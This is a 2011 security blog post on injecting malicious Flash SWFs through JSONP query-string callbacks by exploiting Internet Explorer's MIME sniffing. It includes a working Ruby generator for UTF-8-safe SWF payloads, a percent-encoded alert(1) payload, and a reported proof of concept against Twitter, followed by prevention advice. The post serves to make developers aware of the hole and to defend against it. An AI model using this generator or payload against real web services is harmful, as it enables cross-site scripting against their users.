Saturday, February 19, 2011

XSS Awareness #3: Injecting malicious SWFs through the Query String

If you missed either of the other articles in this series, they can be found here:

Internet Explorer and MIME types


Internet Explorer is notorious when it comes to disregarding the Content-Type HTTP header; that really cannot be said often enough. If you're a web developer, and especially if you're writing web services, it's extremely important to be aware of this.

Short recap, for the oblivious: MIME type is whatever type the browser believes a resource to be. Most browsers rely on the Content-Type HTTP header first, then hints passed by the markup which refers to the resource, and finally file extension in the URI. Internet Explorer, on the other hand, will first of all attempt to guess, or sniff, the MIME type based on the extension.

The importance of MIME type in JSONP services


JSONP (JSON with a user-supplied callback) services, or rather: web services where one of the query parameters will be written to the very beginning of the output, are especially prone to MIME type issues.

As demonstrated in the second article in this series (linked above), many web services skip cleaning callback like query parameters for such services. Most of the time they are alright to do so. As long as the service returns "Content-Type: application/json", "Content-Type: application/javascript" or similar, most browsers won't attempt to load the data as HTML or anything else.

But this is where Internet Explorer will get into deep water. Again.

Given that:
  1. The service returns data that begins with a string passed in a query parameter.
  2. The service somehow accepts custom extensions, such as a REST'ish syntax where the last part before the query string is a search string: "http://somedomain.com/services/search/foobar.baz?callback=something".
  3. The callback query parameter isn't altered (too much) by the server.
  4. The server doesn't return the "X-Content-Type-Options: nosniff" HTTP header.
.. then it's very likely that Internet Explorer can be tricked into loading scripts or other executable content. Because of point #2, a request to the server could e.g. pass ".swf" as an extension to the web service; which will cause Internet Explorer to interpret the returned data as something the Flash plugin would want to run.

Injecting malicious SWFs through the Query String


While services, or even web pages, which fulfill the three requirements above could be passed a script, such as
<script>alert(1);</script>
.. Internet Explorer's XSS filter would block this. SWFs and similar executable content, which may come with javascript, however won't be blocked.

How easy it is for an attacker to inject an SWF depends largely on which characters the server's encoding allows for. Most services these days send data as UTF-8, which means that bytes at or above 0x80 can be tricky to express. Some require UTF-8 start bytes as prefixes (which can require more than one byte to follow), some are themselves start bytes, and require a set of continuation bytes. Nevertheless, it is possible to express the necessary skeleton SWF to hold and execute JavaScript.

I won't be going in-depth on the ActionScript Virtual Machine (or AVM); a few quick searches will yield lots of information on that. The important bits of the approach, however, are as follows:

ActionScript actions are single bytes. Some actions take attributes. GetURL is one such action, and it takes two attributes: url and target. The thing about these actions, however: all those that take attributes have bytecodes at or above 0x80, and are therefore not valid UTF-8 sequences on their own.

There is one specific thing about the AVM that provides an easy workaround: Unknown action bytecodes are silently ignored by the player.

Actions which take attributes have the following layout:
[action bytecode, 1 byte][attribute section length, 2 bytes][attribute section, n bytes]
Consequently it is possible to specify the unknown 0xC2 (UTF-8 start byte) action, followed by 0x80 (a valid UTF-8 single continuation byte) and 0x00. Following that three byte construct, the Flash player will expect (and ignore) 128 attribute bytes. Outputting 127 times 0x44 (or any other byte lower than 0x80), then another 0xC2, will allow us to specify 0x83 (GetURL) as the next ActionScript action.

Following is a (somewhat) naïve Ruby script I wrote, which generates an SWF wrapper around a JavaScript, such as described above. I'm hoping that is enough for web devs to understand that it's by no means difficult to deliver SWFs when restricted to UTF-8.
(Or even 7-bit ASCII, if you're Erling Ellingsen.)
class Fixnum
def to_little_endian_bytes l
[self].pack(l==4?'V':'v').unpack('C*')
end
def has_byte_above max
[self].pack('v').unpack('C*').any? { |n| n > max }
end
end

def utf8_prefix
[0xC2, 0x80, 0x00] + (1...0x80).inject([]) { |m, n| m << 0x2d } + [0xC2]
end

def action bytecode, *args
argbytes = args.inject([]) { |m, arg| m += arg.unpack('C*') << 0 }
while argbytes.length.has_byte_above(0x7F)
argbytes << 0
end
header = (bytecode >= 0x80 ? utf8_prefix : []) << bytecode
header + argbytes.length.to_little_endian_bytes(2) + argbytes
end

def make_script_swf javascript
while true
header = [0x46, 0x57, 0x53, 0x08]
setup = [0x20, 0x18, 0x18, 0x00, 0x01, 0x01, 0x00]
tag = [0x3f, 0x03]
tagcode = action(0x83, "javascript:#{javascript}", "_top") << 0
tagsize = tagcode.length.to_little_endian_bytes(4)
size = (header.length + setup.length +
tag.length + tagsize.length +
tagcode.length + 6).to_little_endian_bytes(4)
bytes = header + size + setup + tag + tagsize + tagcode << 0 << 0
break if bytes.length.has_byte_above(0x7F) == false and
tagcode.length.has_byte_above(0x7F) == false
javascript += " "
end
bytes
end

Running this, and dumping percent encoded output, such as:
bytes = make_script_swf('alert(1);')
puts bytes.map { |c| "%%%02x" % c }.join('')
Would yield a query string passable SWF similar to:
%46%57%53%08%1a%01%01%01%43%02%3f%03%01%c2%80%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%c2%83%79%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5f%74%6f%70

Proof of concept XSS against Twitter


As far as proof of concepts go, I did generate an SWF like this, which I passed to the previously mentioned Twitter promotion service. Following is a screencast of how that played out. Watch it in fullscreen to see the HTTP headers and such.


Hopefully that caught your attention, and you're now keen to protect your own web services.

Prevention


If you're a web developer writing web services, or any kind of web page, you really need to pay attention to injected content, no matter the MIME type. Of course, you should always make sure to send the correct Content-Type HTTP header, but that only gets you so far. Also make sure to pass the "X-Content-Type-Options: nosniff" header if you specify a restrictive Content-Type, otherwise IE will take a path of its own. Again, though, there are always scenarios where the browser will disregard the server-supplied Content-Type, so it really comes down to washing input properly.

Finally, and this is the really important bit: Don't underestimate possible attack vectors. Slightly difficult isn't impossible. Usually, 'impossible' isn't even impossible; just cumbersome. If you write any kind of software, it really is your duty to be prepared for the fact that someone brighter, or more evil, than you may come along down the road.

No comments: